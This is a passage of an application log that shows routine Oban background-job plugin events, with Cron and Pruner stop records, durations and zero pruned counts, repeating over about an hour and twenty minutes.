{"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:29.605 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:59.607 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.157 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:29.610 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:59.613 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.158 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:29.616 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:59.619 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.160 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:29.622 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:59.625 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.161 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:29.628 [info] {"source":"oban","duration":1822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:59.631 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.162 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:29.634 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:59.637 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.164 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:29.640 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:59.643 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.166 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:29.646 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:59.649 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.168 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:29.652 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:59.655 [info] {"source":"oban","duration":2013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.170 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:29.658 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:59.660 [info] {"source":"oban","duration":2263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.171 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:29.663 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:59.666 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.172 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:29.669 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:59.672 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.174 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:29.675 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:59.678 [info] {"source":"oban","duration":2034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.175 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:29.681 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:59.684 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.177 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:29.685 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:59.687 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.179 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:29.687 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:59.688 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.181 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:29.690 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:59.691 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.183 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:29.692 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:59.693 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.185 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:29.693 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:59.694 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.187 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:29.695 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:59.698 [info] {"source":"oban","duration":1791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.189 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:29.699 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:59.701 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.190 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:29.702 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:59.704 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.192 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:29.705 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:59.706 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.193 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:29.707 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:59.708 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.195 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:29.709 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:59.710 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.197 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:29.711 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:59.712 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.199 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:29.713 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:59.714 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.200 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:29.715 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:59.717 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.202 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:29.719 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:59.721 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.204 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:29.723 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:59.724 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.206 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:29.725 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:59.726 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.208 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:29.727 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:59.729 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.210 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:29.731 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:59.732 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.212 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:29.733 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:59.735 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.214 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:29.736 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:59.738 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.216 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:29.740 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:59.742 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.218 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:29.744 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:59.745 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.220 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:29.747 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:59.749 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.221 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:29.751 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:59.753 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.222 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:29.755 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:59.757 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.224 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:29.760 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:59.761 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.226 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:29.763 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:59.766 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.228 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:29.768 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:59.771 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.230 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:29.772 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:59.774 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.232 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:29.777 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:59.779 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.234 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:29.781 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:59.784 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.236 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:29.786 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:59.788 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.238 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:29.790 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:59.792 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.240 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:29.794 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:59.796 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.242 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:29.798 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:59.800 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.243 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:29.802 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:59.804 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.244 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:29.807 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:59.809 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.246 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:29.811 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:59.814 [info] {"source":"oban","duration":1863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.248 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:29.816 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:59.819 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.250 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:29.822 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:59.825 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.252 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:29.828 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:59.831 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.254 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:29.833 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:59.836 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.256 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:29.839 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:59.843 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.257 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:29.845 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:59.848 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.259 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:29.851 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:59.854 [info] {"source":"oban","duration":2121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.261 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:29.857 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:59.859 [info] {"source":"oban","duration":2138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.263 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:29.862 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:59.865 [info] {"source":"oban","duration":1911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.265 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:29.867 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:59.869 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.267 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:29.872 [info] {"source":"oban","duration":2107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:59.875 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.269 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:29.878 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:59.881 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.270 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:29.884 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:59.887 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.272 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:29.890 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:59.893 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.274 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:29.896 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:59.899 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.276 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:29.902 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:59.905 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.278 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:29.908 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:59.911 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.279 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:29.914 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:59.917 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.281 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:29.920 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:59.922 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.282 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:29.925 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:59.928 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.284 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:29.931 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:59.934 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.285 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:29.937 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:59.939 [info] {"source":"oban","duration":2112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.285 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:29.942 [info] {"source":"oban","duration":2200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:59.945 [info] {"source":"oban","duration":2229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.287 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:29.948 [info] {"source":"oban","duration":1917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:59.951 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.289 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:29.954 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:59.957 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.290 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:29.960 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:59.962 [info] {"source":"oban","duration":2239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.292 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:29.965 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:59.967 [info] 